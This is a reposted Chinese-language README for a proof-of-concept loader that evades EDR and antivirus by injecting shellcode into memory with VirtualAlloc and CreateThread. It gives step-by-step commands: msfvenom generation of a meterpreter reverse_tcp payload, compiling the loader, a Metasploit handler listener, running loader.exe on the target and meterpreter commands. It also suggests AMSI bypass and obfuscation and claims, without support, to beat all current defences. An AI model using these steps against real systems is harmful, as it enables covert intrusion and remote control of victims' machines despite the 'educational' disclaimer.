此存储库包含一个使用内存注入技术绕过 EDR 和防病毒解决方案的概念验证 (PoC) 。该代码执行生成反向 shell 的 shellcode,成功逃避各种安全机制的检测。

描述

该项目演示了如何使用 Windows API 函数(例如VirtualAllocCreateThread, 和WaitForSingleObject)绕过 EDR 和防病毒保护有效载荷直接注入进程内存,而不会被安全工具检测到,从而建立与远程系统的连接以进行反向 shell。

免责声明:此代码仅用于教育目的。请负责任地使用它,并且仅在您有明确测试许可的环境中使用它。

特征

  • 绕过标准 EDR 和防病毒解决方案

  • 在内存中执行 shellcode 来创建反向 shell

  • 利用VirtualAlloc并将CreateThread有效载荷直接注入进程内存

要求

  • Windows 操作系统(在 Windows 11 Pro 上测试)

  • Kali Linux(用于反向 shell 监听)

  • Visual Studio 或任何 C# 编译器

编译和运行步骤

1. 克隆存储库

https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access.git
cd EDR-Antivirus-Bypass-Shell-Access

2.修改Shellcode

在编译之前,请确保修改 shellcode 以指向您自己的反向 shell 的 IP 地址和端口。您可以使用以下方式生成 shellcodemsfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f csharp

将Program.cs中的byte[] buf 部分替换为您刚刚生成的 shellcode。

3. 编译代码

在 Visual Studio 中打开项目,或者使用以下命令使用 .NET SDK 编译代码:

csc loader.cs

**或者,您可以在 Release 模式下进行编译以获得更好的优化:

csc -optimize loader.cs

4. 在 Kali 上启动监听器

在 Kali Linux 机器上,启动监听器来捕获反向 shell。在 Metasploit 中使用以下命令:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT <YOUR_PORT>
run

5.执行有效载荷

将编译好的 .exe 文件传输到 Windows 机器。您可以手动执行该文件,也可以使用任何其他方法运行该文件:

loader.exe

获取 Shell

一旦有效载荷在目标机器上执行,您应该会看到在 Metasploit 控制台中打开了一个反向 shell 会话。从那里,您可以与系统进行交互:

meterpreter > sysinfo
meterpreter > shell

其他绕过技术

为了避免被高级 EDR 解决方案检测到,请考虑使用进程注入、混淆或 AMSI 绕过等技术。可以使用这些方法扩展此 PoC,以实现更强大的规避。

此 POC 绕过了所有当前的 AV 和 EDR 解决方案。

项目地址

Github:https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access

直链下载地址

https://lp.lmboke.com/EDR-Antivirus-Bypass-to-Gain-Shell-Access-main.zip

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。